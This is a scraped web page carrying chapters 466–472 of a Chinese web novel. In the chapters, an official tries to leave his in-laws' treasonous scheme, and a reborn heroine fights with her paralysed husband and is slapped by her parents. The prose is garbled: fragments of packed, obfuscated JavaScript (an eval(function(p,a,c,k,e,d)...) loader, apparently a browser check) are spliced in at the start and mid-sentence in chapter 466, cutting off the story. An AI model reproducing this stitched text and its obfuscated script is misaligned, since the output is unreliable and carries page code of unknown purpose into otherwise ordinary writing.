d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第466章贤婿,你可以和离 在两个孩子出生之前,夏庸以为楚霆孝想要的是独揽朝政和相位在楚家的传承,等他知道真相的时候大吃一惊,可是已经下不了船了。 他当时也有侥幸心理,想着虽然楚家、陆家和端侯府各有各的问题,可那些都是底蕴深厚的世家,在这件事儿上都站在他前头,天塌下来也有这些人在前头挡着。 可那时他想的是这几家的状况都会原来越好的,成功的几率也会越来越大。而且南疆本身也因为诸王越来越乱了,朝廷既然能分封诸王,也不是不能给楚、陆两家再封一个王,到时候他们这么做可能也不算大逆不道了。 谁知道这件事突然就这么露了?自古预谋做这种事的,大体都是势力坐大之后被人留意到了,可他们呢,这条路刚走了三成,居然就被发现了,兴许这还真就是运气不好! 楚氏没想到夏庸会用他自己曾经受了欺瞒说事儿:“老爷,您不能这么说,这么多年了,当年您要是不应,又何必参与进来?就算是,明月和明嫣的婚事您也是点了头的,这中间您并不曾反悔。” “现在圣上还没说什么,您就这样了。您想反悔,就不怕我父亲生气?您若是如此,夫妻一场,楚家也不好把您怎样,但这兵部和元京怕是待不成了。” 要是夏庸不听话,楚氏现在年纪也不小了,也不能跟他和离,也不能要了夏庸的命惹人怀疑,但楚家使使劲,把夏庸远远地外放了却不是不行。 夏庸要的就是出入朝堂、光宗耀祖,连自己的老家卢阳都看不上,更加看不上那些偏远之地,将他外放比杀了他还让他难受,按理说,他不会答应才对。 夏庸却叹了口气:“好啊,贬黜也好,外放也罢,我也认了,好歹还是官身,还能给子孙后代留些余地,等到登云或是他的儿子那一代,我夏家还有出头的机会,总好过什么都还没做,就落得一个乱臣贼子的下场。” “夫人呐,时移世易,今非昔比,当年决定这件事的时候,宫里毫无察觉,你的两位兄长初等朝堂就步步高升,如今他们却止步于四品、五品之阶,毫无进益,还大有外放之势。” “陆家当时是流放了,可陆家是第一个流放到彭州的世家,此前彭州不过几十个流放之人,这彭州显然就要变成陆家的‘封地’了。如今,陆家的情况我不清楚,可看岳丈的反应,应该比其他几家要好,姑且不论。” “再看看这端侯府,如今贤婿病成了这副模样,爵位也还没有承袭,再看看我们夏家,明嫣嫁得好,人行事也稳妥,可在这件事上也指望不上了。明月呢,不添乱我就庆幸了。登云呢,直到现在科考还没下过场呢。” 干这种事要的就是各方势力日渐强大,才能搅动风云,而时间跨度大的话,还得讲究一个后继有人。 可看看现在,楚霆孝的两个儿子跟寒门出身的举子比,自然是强了不少的,可跟朝堂上的这些人比,两个四品、五品的文官,非王、非侯,干这种事能成什么气候。 而像楚家这两位舅兄已经算是他们这群人里还不错了的,他们的儿女也没见哪个出彩的。 李玦成了个废人,还无儿无女,夏家倒是有儿有女,可这几日夏登云也观察了一下夏登云,他发现这孩子将来或许能成为一个诤臣、一个御史,让他做那种事儿怕是难了。 也就是陆家如今情况不知,可陆家再有人马,有一个事实就是,那里面最具实力的陆远山没有子嗣。 夏庸猜想这陆远山初时应该是心理还有楚氏,又是刚刚去了彭州,没来得及张罗亲事,也就没有了子嗣。后来,可能是身子骨受了苦寒之地的侵害,想生也生不出来了。 这就不仅仅是他陆远山自己后继无人的问题,他没有继人,连个上门女婿都没有,将来定然要走过继的路。这种事儿在寻常富户还好说,发生在届时的陆家,必定会引起一场纷争。 这一算下来,这几家竟是各个短处多于长处,如此不成气候,这条路还能怎么走下去? 夏庸抖着手指了指榻上躺着、听着这番话越来越面如死灰的李玦,又转头看向楚氏: “夫人若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第467章都想稳住对方 “老爷,你要跟我和离,还想让明月跟世子和离,你是疯了吗?” 楚氏都愣住了,夏庸的退堂鼓居然打得这么快,居然还打起夏明月的主意了,她差点儿就冲口而出,说夏明月不能和离。 楚家已经骑虎难下,夏明月是陆家的女儿,陆家有人马,李玦已经成这样了,以后在南疆重建李家军也要靠陆、楚两家,夏明月只有稳住了端侯府这边,才能稳住整件事的财源,他们和陆家才能有钱可用。 虽然夏明月不是个得用的,可她现在毕竟是端侯世子夫人,他们大可以指派几个精明能干的人去做具体的事,只要以夏明月的名义就可以了。要是夏明月也和离了,那还了得? “你现在想下船了,晚了。我告诉你,夏庸,你在决定当楚家女婿的那一刻起就没有退路了,想和离?没门儿!” 夏庸半点不退,唉声叹气地道:“夫人自从嫁与我之后,我待夫人如何,天地可鉴,就连我原配所出的嫡长女,为了让夫人和明月过得舒心惬意,我把她送回了老家,一待就是十四年。” “你还让那些女师暗中使出那种腌臜手段来害她,你戕害嫡长女,还险些害了我们夏家跟华家的关系,我都没有怪过你。” “你不想和离,也成,我今日就把话放在这儿,这件事我不会再参与。这么多年了,你都在为你们楚家着想,为这难成的大计筹谋,可你毕竟是我夏家的媳妇,你不仅是明月的母亲,你也是登云的母亲,你该为登云和夏家想想了!” 夏庸和夏氏宗族平时再宠爱夏明月,心底里的那条底线也一直在夏登云身上。 平日里大伙儿对夏明月好,是因为夏明月嘴甜、会讨巧卖乖,也是因为楚氏和楚霆孝的态度,可家里最关键的权利和庶产将来都是给夏登云的。 这就好比有些人平时对自己养的鸟儿、狗儿、猫儿、马儿……都比对子女好,可家里的那些东西难道还能给它们不成? 夏庸从前再忽视夏登云,在这一点上的想法也没有改变过。他从前再宠着夏明月,到给她一笔丰厚的嫁妆把她嫁进端侯府,依从了她的心意,这份宠爱也就到头了! 楚氏终于明白了夏庸再也不可能回头了,其实自从她见到了于杏儿,她对那个一直以来被自己忽略了的儿子的愧疚心也逐渐汹涌地涌现出来。 她微微颔首,冷声道:“老爷既然已经决定了,过几日我便回相府禀报父亲,由他定夺。不过明月跟世子不能和离,他们都还年轻,少年夫妻之间有些磕磕碰碰的,再所难免,不能轻易和离。” “这里面牵扯甚多,您也是知道的,您若是想以后安安生生的,就别掺合孩子们的事儿了。” 夏庸刚才并非真的想让夏明月和离,他那么说,是为了让李玦能够站在他这一边,支持他跟楚家划清界限。 他虽然不知道夏明月不是他亲生的女儿,可他知道,即便他下了这条船了,他也不能影响楚家和端侯府的关系,单从这一点来说,夏明月这个楚家的外孙女就必须得继续跟李玦在一起。 其实他自己也不是非得跟楚氏和离的,他要的是跟楚家划清界限,只是目前能想到的最好、最便捷的方式就是和离罢了。这还多亏了华靖离跟李玦那场割袍断义,给了他灵感! 而且他还认识到一件事,他要想顺利些跟楚家划清界限,还得保证楚家跟端侯府的联盟不变,也就是说他非但不能拆了这桩婚事,还得竭力保住这门婚事。 夏庸缓了口气,对着一直沉默不语当然也是因为口齿不伶俐的李玦道: “贤婿,刚才是我冲动了,我与你岳母的事,不关你跟明月的事。何况你现在这个样子,身边没个女眷照顾着再帮你周旋着外面也不成。” “不说别人,要是这时候宫里来个人问问你的情况,你总不好让管家出去应酬吧?还有那些医者,都是名医,还有宫里的御医,都需要她去应酬……” 夏明月留在这儿只会气人,何况李玦现在黄白之物都不得自理,夏明月早就嫌弃了他,也就是每两三日露一次面,询问服侍的人几句,做做样子,就离开了。 李玦这几日已经看透了夏明月,早就寒了心,巴不得见不着她,见着了别再把他气出个好歹来。 可是李玦也知道,他现在不能把夏明月怎么样,论内宅之事和两家的关系,其实夏庸和楚氏在这件事里还是尽责了的,要不是他们隔三差五地来府里关照一下,端侯府早就乱了。 正是因为有他们,他现在才在这儿干干净净地躺着,有郎中看,有汤药和针灸可以受用。现在何夫人不在了,要是没了他们,他恐怕得饿死在这府里。 而夏明月也的确有她存在的必要,毕竟万一有个什么事儿需要周旋,总不好让岳父、岳母出面,这种时候,他需要一个妻子,就算是何雨萍这个贵妾出面也不大管用。 不过,这些都不能减少李玦心里的怒气,尤其他刚才有一种很不好的感觉,他现在仿佛已经成了夏、楚两家手中的工具和摆设,他们想让他怎样就怎样,却还在觊觎属于他们家的这笔财富。 李玦想要平静下来,可这段时间他变得格外易怒,他喘着大气、眼中遍布血丝地道: “你们……别想抛下我……我知道另一半方位在哪里,还有一份……探海索也可以重新打造,没有我们端侯府,你们找不到。” “明月……你们可以带回去,府里交给何氏打理,我要养病……” 做他的妻子不见得要跟他日夜相对,就像一开始楚氏提议的要把夏庸外放,这样安排对谁都好,夏明月自己也能过得舒服些。 李玦心里已经盘算了无数遍要如何如何跟夏明月算账了,可是他现在首要的是要将身子养好。 他已经从王老太医和夏明嫣口中分别得知,他要是能好好休养,恢复得好些,将来虽然还是有半边身子难恢复过来,可除了不良于行,在下人的辅助下,生活还是基本能够自理的,就是比别人要慢、要怪。 关键是他的头脑不会再坏下去,身子不好不影响他说话和想事儿,他手上只要有钱、有人,就不影响他运筹帷幄。 所以无论如何,他至少得保证这段时间端侯府里清清静静的,先把身子养好再徐徐图之。 第468章你这孽女! 楚氏和夏庸都知道这个何小娘,其实在何夫人出事之前,何夫人已经在把端侯府的中馈逐渐移交给侄女何雨萍了,可是何夫人入了寺院,夏明月得了中馈之后,何雨萍就被架空了。 如今何雨萍虽然还在府里,却被迁入了偏院,府里不限制她出入,她也可以继续去管她娘家的事,府里的事却与她没有关系了。 要让何雨萍重新出来主事,同时也没说让乔嬷嬷回去,就是说只交一半的中馈给何雨萍,或是只让何雨萍把李玦身边的事儿管了,让李玦能过得更放心、更舒服些。 因为何夫人已经大势已去,何家少了这一重依靠也就只能继续为端侯府做些暗中的事了,想要上位太难,即便让何雨萍出来管事儿,端侯府的主母也依旧是夏明月,她的地位不会被动摇。 楚氏想想夏明月最近的确很不像话,让她回夏家住一段日子,自己在好好教教,也没什么不好的,她正要开口,却听见有人在门口嗷地一嗓子之后冲了进来。 因为这一声里饱含着怨愤和不甘,声音又异常之高,听起来并不像一个年轻新妇能够发出的,倒像是一个比楚氏小不了多少的怨妇,一时间楚氏和夏庸都没反应过来这人是夏明月。 夏明月穿着金线满绣的衣裳,头上、手上戴着好几些元京各大银楼最时兴的簪环首饰,就那样明晃晃地冲了进来,像一只金色的大蝴蝶。 其实夏明月的审美并非如此,她之所以穿成这样,主要是她担心靠卖刀换来的银子被李玦和夏庸拿走,她就想着给自己购置些贵重将来还能转手的贵重衣饰作为收藏。 几日前她便叫了这几家银楼的掌柜过来,那边正在试穿、试戴呢,就听说夏庸和楚氏过来了,一来都派个人喊她过去,直接就来了李玦这儿。 夏明月来不及把身上这些东西处理了,穿戴着就跑了过来,她刚到门口就听见李玦要把她送回娘家,还要让何雨萍出来主事。 她也顾不上楚氏和夏庸就在旁边了,指着李玦大骂道:“你这个没良心的,从前想要为了那个邓澜,把我们夏家的女儿贬妻为妾,现在又想让何小娘取代我,你想得美!” “你现在都瘫了,还得我的人服侍你,你居然还敢有外心。好啊,我这就把府里的人都带走,让你就躺在这儿饿死、渴死。你这个废物,连茅房都去不了,你就该在这儿脏着、臭着!” 夏明月气势汹汹、咬牙切齿,恨不得把李玦的骨头扒下来啃了。 楚氏和夏庸对视了一眼,都从彼此的严重看到了震惊和厌恶,别说这么说多没有规矩,道理上也不是这么回事啊。 这府里头如今管事儿的是有不少是夏明月的陪房和从夏家调来的人,但大部分都是原先端侯府的家生子和签了死契的下人,夏明月怎么也不能把这些人都带走,而让李玦一个人吃喝拉撒都在榻上解决吧? 夏明月真要是这么做了,那跟谋杀亲夫也没什么两样了,他们夏家岂不是出了一个大恒立朝以来最恶的恶妇? 夏庸想都没想,抬手就是一巴掌,别看他是个文官,自从夏明嫣提醒他“挣再大的功业也得有命享”之后,他就天天跟着府里的护卫打一套八段锦,不觉之中力气都比从前大了。 夏庸这一巴掌打出来,他自己都愣住了,因为直接就把夏明月掀翻了出去,后背还撞到了柱子上: “你这个孽女,饶是我们对你那般精心教养,竟然长成了这般模样。你看看贤婿现在这副样子,到底拜谁所赐?还不是你?” “要不是你要拿华靖和当垫脚石,就不会有公堂上的事,没有那件事,你婆母就不用去清修,把所有压力都挪到了贤婿身上。若非如此,他也不用当众要挟华侯,换取去北疆的机会。” “关键还是你,一点都不知道体谅自己夫君的不易,上杆子的气他,把他气成了这副模样。还有,你自己说说,这几日你来看过贤婿几回,每回能在这儿待多久?你可有亲自服侍过汤药和换洗?有你这样的女儿,我们夏家的脸都让你给丢光了。” 这话不好听,到底是自己宠了这么多年的女儿,楚氏的脸一下子就拉了下去,可她也不得不承认夏庸说的没什么错。 虽说高门大户不缺服侍的人,但就算是圣上病了,皇后娘娘都得亲自侍奉汤药呢,夏明月哪怕装一装呢,怎能大张旗鼓地说出此等悖逆之言。 楚氏扶起夏明月,一边查看着她的脸,一边道:“月儿,你怎么能这般说世子呢?你父亲说话不好听,可他也没错,现在正是你们夫妻同舟共济的时候,咬咬牙,这些艰难都会过去的。” 夏明月捂着脸呜呜直哭,她不顾楚氏的阻拦,冲着李玦和夏庸就去了: “说的好像都是为我好似的,他倒是委屈上了,一个大男人被几句话气成了这样,还有理了?外头的人说我是罪魁祸首也就罢了,你们不是都问过那些下人了吗?难道还不知道我究竟怎么气他了?” “不就是卖了把刀么?跟没见过钱似的,到现在也没见有人找来,多半就只是被那个客商卖到远处去了,他自己一听就气成这样了,怪我什么?他怪得着吗?” “这都是他的报应,谁让他不跟我交底,谁让他要把中馈交给何雨萍,他就是活该!父亲,您这么帮着他,是还指望着他什么吧?他们端侯府也私贩海货了?好啊,都瞒着我,装穷,让我过穷日子,那就都别过了!” 府里公中除了何夫人走之前预支给下人们的月钱,就只剩了两千多两银子。 夏明月只怪自己后知后觉,李玦这种人如果只有那把刀和那匣子彩宝,他是绝不会把东西都送给华靖离的,即便这当中再别有目的,他也不会。 这端侯府在暗中定然还有积攒,昨日朝堂上的消息一传回来,她想了一整晚,越想越睡不着,越想怨气越大。 出嫁之前,其实楚氏和夏庸都暗示过她,守着李玦好好过日子,以后一定有她的好日子过。 可那都只是暗示罢了,而且若真是如此,之前他们还为何要把她嫁给华靖离?难不成是想让夏明嫣做了主母,来打理这笔财富? 第469章娶哪个都比夏明月强! 夏明月可以确定,楚氏当然是偏向她的了,可夏庸就不一定了,夏明嫣可是他的嫡长女。 虽说那杨氏论出身、才学、容貌都不如楚氏,那时蛊医还坏了事,可杨氏毕竟是夏庸的原配,夏庸碍于楚氏和楚家的威仪而隐藏了心思也未可知。 说不准就因为夏庸心里偏着的人实际上是夏明嫣,才在一开始把夏明嫣定给李玦的,后来是她闹开了,夏庸才碍于楚家不得不答应她换亲。 想到这些,夏明月推开了楚氏,一双眼睛贼亮贼亮地瞪着夏庸:“您一定早就知道,所以一开始要嫁过去的真的是夏明嫣,对吧?您那是指望着她管着这端侯府的一方家业呢。” “阴差阳错的,我嫁过来了,我不会管家,也不耐烦跟那些乱七八糟的女人相处,我没把日子过好,丢了你们的脸了,那又如何?我还是端侯世子夫人,你们以后还得指望我。” 她又回身去拉住楚氏不撒手,“母亲,父亲他心里都只有他的嫡长女,您明明让那些女师把她教坏了,管家理事、运筹帷幄、玩弄人心……定是父亲私下找人教了她,不然怎会如此!” “还有她那个舅父,要不是老宅有人徇私,经常放他进门,夏明嫣如何学了一身的医术?能给他们行这么多的方便,除了父亲,还有谁能办得到!” 夏明月把她这些日子推测出来的东西全都说了出来,正巧楚氏之前也有过这样的猜测,只是那时她还是偏向于夏庸不会这么做的。 可现在就连一向最迟钝的夏明月都这么说了,楚氏不由得有些信了,看着夏庸的眼神也有些异样了。 还有打从刚才一共就说了那么几句话的李玦也张大了嘴之后老半天才阖上,断断续续地道: “岳丈……当真有这样的心思?难怪……当初姨姐的身世谣言传出时,您担心我们会退亲,还特意强调了无论如何都要把姨姐嫁过来,原来如此……” 夏庸都愣住了,他还真没这么想过,不过他现在还真恨不得他当初真就是这么想的,他指着夏明月的手直抖,冷笑着道: “贤婿,你别听这个蠢妇乱说。我要是私下里教好了明嫣,还有这样的心思,我怎么会一下子就答应了她们换亲?夫人,你自己回想一下,换亲那日是你先去端侯府和华家商谈的,事情都定下来了,我才回的府。” “好啊,你们都这样以为,是不是?那太好了,要是这样还更好了,我还能在明嫣和华侯面前讨个人情,我们夏家还能多一个倚仗!” 他抬步就要走,走出去几步,又停下对李玦道,“贤婿,你别多想,就算我有那样的想法,你仔细想想,难道那样不好么?” “一个精明的女子,行事却有度,的确,夏家有可能利用她来打你们端侯府的主意,可是你……至于像现在这样么?” “既然怀疑我,那我也不留了,你们母女商量着定吧。不过,你们别忘了,这儿是端侯府。夫人啊,你不能再放任这个孽女了!” 夏庸拂袖而去,不理会屋里的三个人再说什么,他是真受够了。 不过他今日把该说的都说出来了,他不干了,说完他就感觉到整个人都变得轻松了。以后就这么着吧,后半辈子他就只管将夏登云带上仕途了。 李玦想要叫住夏庸,可是喉咙被痰卡住了,他眼睁睁地看着夏庸走出去了才道: “那样倒也好了……我至少不至于成了今日这副模样,若是我娶的是姨姐,把家业交给她打理又有何妨?如今想想,母亲她……确有先见之明,这人选定的……着实好。” 李玦兀自笑着,他面部僵硬、嘴歪眼斜,一说话,口水就流到了枕头和衣襟上,弄得他好不狼狈,可是他却笑得很痛快,放佛心口压了许久的大石被搬开了。 邓澜聪慧、贤良,看待事物一向平和,上能管家理事,下能包容内宅中的妾室,还能孝顺长辈,更有那一重秘密在她和她爹身上。 夏明嫣,不仅能管家理事、会做生意,她身上有一股韧劲儿,能屈能伸,而且她有一股子急智,在关键时候多有奇思妙想,也能以女子之身与朝堂上的男子斗智斗勇,是个能够成大事儿的。 再就是何雨萍,别的事儿或许不行,但是何家的生意和暗中的那些人都被她打理得明明白白的,虽然有时候还吃其他妻妾的醋,但也还算是个有才具还懂事的。 仔细想一想,何夫人选的这三个人都很适合端侯府和他李玦的情况,这三人中有一人做他的正室,他如今也不至于落得这般下场。 李玦现在不怕说这些了,楚氏在这儿呢,知道他还有用,不会再放任夏明月对他怎样的。 相反的,如果夏明月当着楚氏的面还敢对他怎样,楚氏反而会拦着夏明月,至少不让她轻易单独到他面前来了,他反而能安全些。 他惨淡地哼哼了几声,带着些许破罐子破摔的挑衅,“你后悔嫁我这样懦夫,我也后悔娶了你这样的毒妇,我要是娶了姨姐,那该有多好。” “有那样的贤内助在,我定然已经袭爵了,现在就该身在北疆,横刀跃马,立下战功……” “你敢这么说我?你还后悔了,你这个废物,就你还想横刀跃马,瞧瞧你那场比试,什么东西,我呸!” 夏明月气得脸红脖子粗的,甚至忍不住想要上前抽李玦几巴掌,被楚氏硬生生地拦了下来。 刚才为了说话方便,他们把下人都支得远远的,可是现在楚氏一个拦不住年轻力壮的夏明月,她只能死命拦着,同时高声叫人。 楚氏的腰都闪了,那几个人才进来把夏明月架了出去,她则先去安抚李玦,声音提高了些,也让外面还没走远的夏明月能够听见: “世子贤婿,你别跟她一般见识。月儿她不懂事,她也是为你的病情着急,担心你这病好不俐落,才失了神志。” “你放心,我不会让他打扰你养病了,之后我让乔嬷嬷好好看着她,但凡她要近你这院子,除非你允许,否则必须由乔嬷嬷陪着。” “刚才我也想过了,你岳丈也同意的,这中馈还是由月儿这边管着,可你也知道,实际打理着的是乔嬷嬷,也都是你府上能放在明面上的东西。你这院子里的事儿,还有你想办的别的事儿,就交给何小娘和那位孙公子吧。” 第470章他怎么就这么脆弱了! 楚氏对着李玦陪着笑脸安抚着道:“世子贤婿,你看这样可好,你可能安心了?要是还不放心,也可以把李姑母和何姨母接回来。” 如此安排,府中的中馈留给了夏明月和乔嬷嬷,维持住了夏家的体面,夏明月这个世子夫人也留住了位分和地位,等将来她跟李玦的关系缓和些了,再进一步真正地掌握完整的端侯府也不是不可能的。 这样看起来是李玦吃亏了,实际上却不然,李玦依然是掌握着主动权的一方,因为端侯府的中馈只是面上的东西,那就是个空壳子,实际的东西从前在何夫人手里,现在可都在李玦自己手里呢。 面子上的事儿还是夏明月的,里子的事儿都是李玦的,由他信任的何雨萍和孙允斌一里一外地替他打理,分而治之,各退一步,这就是最好的安排了。 李玦要是要求的更多,就不现实了,他艰难地点了头道:“那就有劳岳母了,这府上的琐事还要继续劳烦明月和乔嬷嬷。” 楚氏又嘱咐了几句这院儿里服侍的人,就去追夏明月了,此刻,夏明月已经回了她自己的院子,正气得在屋里来回踱步。 楚氏一来,夏明月跺了脚,把自己摔坐进坐榻里:“母亲,父亲怎么能打我,他怎么能这样?母亲,您该不会也不喜欢我了吧……我也不想这样,原先在家的时候,我也是好好的。” “我变成这样,都是被这端侯府的人气的,还有那个夏明嫣和华靖离……就是因为他们,不过我这几日还想明白了一件事,这些事儿关键还是在李玦这个人身上,他真的太没用了,我怎么早没看出来!” 还知道自己眼瞎? 楚氏差点儿就白了夏明月一眼,要是以前,她这一眼还真就白出去了,可是那时候亲近,她们比亲母女还要亲。 可是现在呢,自从见到了于杏儿,楚氏没有办法再把夏明月当作自己的亲生女儿了,她现在总会不自觉地去想,于杏儿许多地方都很像她,相比起来,夏明月简直没有一点儿像她。 往日里,别人都说夏明月像她,她为了欺骗自己不去想自己的亲生女儿,也很乐意听到这样的言辞。 大概是因为许多长相好看的女子都有相似之处,而夏明月毕竟是她养大的,在习惯和气质上像她很正常…… 可是自从见过了于杏儿,夏明月一下子就成了赝品。夏明月所谓的像她的地方,在于杏儿面前,变得异常脆弱、不堪一击。 现在楚氏对夏明月已经一点一点地褪去了从前的亲近,变得客气起来:“月儿,我早就跟你说过,这世子年少时相交可以,可要嫁人,他并不适合你。” 这时只有她们二人在,屋子里里外外连个下人都没有,楚氏说话也就没什么顾忌了,她直白地道, “高门人家的姻缘多是不能自己做主、随着你的心意和情意的,出嫁前,我对你跟世子的事儿之所以睁一只眼闭一只眼,除了是想要观望,看看他这个人究竟怎么样,再也是想着既然你喜欢他,就让你享受一下你们之间青梅竹马的情意。” “定下婚书之前,我也跟你说了,你性子直,不适合端侯府这弯弯绕绕的环境。这嫁人,跟你们小孩子过家家不一样,看的不止是你们两个,你的公婆、亲戚,还有这府里上上下下的庶产、亲族甚至得力的下人,都是要看的。” “该说的也都说了,你哭了一场之后不是也想明白了么?可你偏偏要换亲……可这也不能全怪你,那时候华侯遇刺重伤,险些没挺过来,谁也想不到他能好得这么彻底,还这么快。” 事情闹到这一步,是天意不可抗,夏明月和他们都想不到华靖离能这么快就好起来,当时他们认下了夏明月和李玦这桩婚事,还为之庆幸过,是人之常情。 就算没有这一桩事,夏明月自己寻死觅活地非要嫁给李玦不可,还说非要让她嫁到钩翊侯府去,她就在洞房里把自己吊死,临死还要把华家闹个人仰马翻、家破人亡。 就她这架势,就是楚霆孝也不敢把她嫁到华家去……总之,她是无论如何都是会嫁到端侯府去的,那就不得不认命了。 楚氏叹了口气,“不过说到底你会嫁到端侯府来,还是因为你换了亲。哪怕你晚一天闹腾呢,我晚一天登门换亲,那赐婚冲喜的圣旨下来的时候,你就还是华侯的未婚妻子。” 夏明月想到这一切都是自己作来的,又不想承认了。她明明重生了,怎么会落得这样的下场。 她自己坐在那儿生闷气,上辈子李玦根本就不是一个这么脆弱的人,他经历了那么多艰难险阻,还在南疆征战了将近五年光景,最后成为了端王。 虽说那里面的功勋没有多少是他自己立下的,可能把那些功劳从它们真正的主人身上抢过来,也是需要本事的。有句话听着很难听,却是事实……李玦能这么做,还做成了,脸皮肯定是够厚的。 可现在怎么就这样了?就那么点毛毛雨一样的破事儿,竟然就把自己气中毒了,治好了也是个半瘫。 她原先还能安慰自己,这辈子的事儿细节变了,过程也变了,可结局是不会变的,她早晚都是端王妃。 李玦经过千难万险,最后依然会是端王,甚至还能爬得再高些,将那个傀儡一样的新帝谢维也拉下来,自己坐上去。毕竟上辈子李玦这个端王在朝堂上可是跟权相孙允斌平分秋色的,就算是孙允斌也是他的心腹,想来私下里也是以他为尊的,孙允斌的那些主张,实际上也应该是他的主张。 但李玦现在这样儿了,好了也得是个半瘫,连仪表都毁了,这样的人别说坐那个位置了,就是做个权臣,都担心他的身子撑不住……这是不是不能翻盘了? 夏明月都要气疯了,嘴里骂骂咧咧地道:“我从前看他什么都好,就算他背地里做了那些事儿,可是……母亲,您也评评理,他能做出那些事,怎么就能是一个如此脆弱的人了?” “我那公公在他五岁的时候就过世了,他从小没少被人议论,这回不过就多了几个郎中,还多了一个我,他就气成这样了?这怎么就能怪我了?好像我成了罪魁祸首、祸害端侯府的妖妇了一样。” 第471章楚氏手疼 外面的人都说全是她夏明月的错,说她就是个丧门星,把好好的冠玉公子变成了一个瘫子。 这些人好像都忘了李玦先前在公堂上被掀出来的事儿了,现在全都成了她的错了,都是因为她不贤惠造成的。 夏明月歇斯底里地道:“她们说我不贤惠、善妒,好像她们能把外室生的孩子认回去供着似的,凭什么都来说我?是我让他找说书的渲染他和华靖离的兄弟情义的么?是我让他当众展示武艺的么?” “现在都成我的错了,您跟父亲一样,也觉得都是我的错么?我也没想到会发生这些事,难道换别人嫁过来,就会更好么?” 夏明月现在被一种滔天的怨愤湮没了,夏明嫣上辈子跟李玦过的时候怎么没发生这些事? 夏明嫣在从南疆回来之前,一天到晚顶着一张贤良淑德的苦瓜脸,她有什么本事?怎么这苦相都没把李玦克出毛病来,她这样的反而把李玦给害了? 她明明重生了,怎么把日子过成了这副样子,那么老天爷让她重生的意义何在? 楚氏愣了一下,这些日子对夏明月的不满本就积累了许多,这时候见她遇事完全失去了镇定,更是瞬间觉得自己对她十余年的教养付之东流。 失望之余,楚氏不耐烦地说出几句话来:“这要看换了谁了,要是没有换亲,即便端侯府真干出了贬妻为妾的事,就凭夏明嫣的心计和手段,她大概会先忍下来,再徐徐图之。” “要是她能把那正妻……就是那位邓小娘熬死了,就凭她是夏家女,有夏家在背后支持她,只要她还活着,被扶正的一定是她。在这之前,她要想活下去,就得听我和你父亲的话。” “她只要按我们说的做,想来等到她被扶正的时候,这端侯府暗中的东西就算没落到她手里,也差不多了。我看就世子这副样子,只要何夫人不在了,那些东西恐怕都会主动交到她手上,让她经营。” “现在说这些还有什么用?我跟你说过多少回了,让你忍耐些,你不耐烦跟他们周旋,就陪个笑脸,底下的事让巧兰或是乔嬷嬷去做。你跟世子有感情,你只要把面子维持住了,将来还不是什么都是你的……” 多余的话楚氏没敢说,于杏儿那性子要是在她身边养大,定能成为一个敢作敢为、不拘小节又不缺心计的人,那性子不管嫁给华靖离,夫唱妇随,还是嫁给李玦,将来做个枭雄之妻,都不成问题。 就算是现在的于杏儿,要是过来给李玦做个妾,也至少不会比那个何雨萍差,还能把夏明月这个正室架空了。 夏明月根本不知道自己的身世,更是不知道什么于杏儿,但她从楚氏提起夏明嫣的态度上看出了对她的失望,她不敢置信地对着楚氏哭了起来: “你们都偏着她,说是对我好,可是溺子如杀子,你们对我的好却是在害我。你们对她说是严苛,说是除了那些个规矩和道理还有书册上的东西都不教给她,可到头来,她都会了,你们到底偏着谁?” “她之前说的那些话,我还不信,现在我信了,你们以前说对我有多好,那是因为你们觉得我将来对你们更有用。现在你们开始偏着她了,是因为现在她对你们更有用,天下竟然有你们这么唯利是图的的父母!” “啪”地一声巴掌声响起,紧接着又是好几声巴掌声,楚氏竟然一连抽了夏明月好几个耳光,直到把夏明月打蒙了才停手: “清醒了么?我们待你好的确不完全因为你是女儿,我们是父母,可是别说咱们这样的人家了,就是寻常百姓人家,难道做父母的就对子女没有别的指望了?” “父母再有偏爱的,等到子女长大,难道就不能欣赏那个能顶门立户的了?你自己不争气,还要怪别人,早知道也把你送回卢阳去就好了。可你有没有想过,她在卢阳,日日挣扎在能不能活下去和会不会一辈子都被遗忘在那个乡下地方的恐惧中,你也想像她一样么?” “那样的日子你受得了么?你连端侯府的日子都过不下去,卢阳老宅……你这样的娇花要是在那里长大,你怕是连那个画扇都不如了。” 有些花只能在花棚里精浇细养着长大,一旦换到了恶劣的环境里,立时便会枯萎、腐烂。 夏明嫣能够长成这样,纯属意外,谁都没有想到。 那画扇还有那个秋果,虽然都是仆妇之女,可也活了下来,纵使品行上有些问题,至少猫有猫道、狗有狗道地活下来了。要是把她们丢进市井去,她们也能活得不错。 反倒是夏明月这样的,在卢阳活不了,在市井也生存不下去,只能娇养着,还给养歪了。 夏明月感受到了这几巴掌和现实的羞辱,可她实在无力反驳,因为楚氏说的都是事实,她也的确该打。 这些话楚氏从来没有对她说过,她也从来没挨过父母的打,包括上辈子,此情此景反而让她忽然想明白了一件事。 上辈子她有十年的光阴都是在华家家庙中度过的,外面的事,她只是听过一部分,然后坐享了李玦最后的成果。 这中间不仅有许多事她不知道,她笑夏明嫣有十四年的卢阳岁月,困居一隅,坐井观天,缺少这元京的历练。可是后来,夏明嫣有了属于端侯府和南疆的十二年磨砺,前头欠了多少账都弥补回来了。 ……不对啊,要说上辈子虽然因为她有李玦在背后支持,并且密谋已久,才在最后打了夏明嫣一个措手不及,让她取代了夏明嫣,但其实论起各方面的能耐和才干,夏明嫣都强了她一大截……这些纵使她不愿意承认,也得承认。 可这辈子呢,夏明嫣才从卢阳回来就强了她这么多,这合理么?难不成夏明嫣也重生了?这似乎就说得通了。 “不可能,绝对不可能,我才是上天的宠儿,只有我重生了,夏明嫣……不会的,不会……” 夏明月控制不住地边摇头边不停地念叨着,大有疯癫之态,以致于她说出的话含含糊糊的,语音不清,语意不详,从旁边看去,似乎她整个人都在发抖。 楚氏被吓住了,难不成夏明月也要跟李玦一样,被气中毒了,这真是太可怕了,再出一个那样的,这两家都得乱。 面对这样的夏明月,楚氏不知道该如何应对,她也没法子立刻把郎中喊来,情急之下,她几乎使出了浑身的力气对着夏明月重重地挥下了一巴掌。 第472章什么重生?你疯了吧 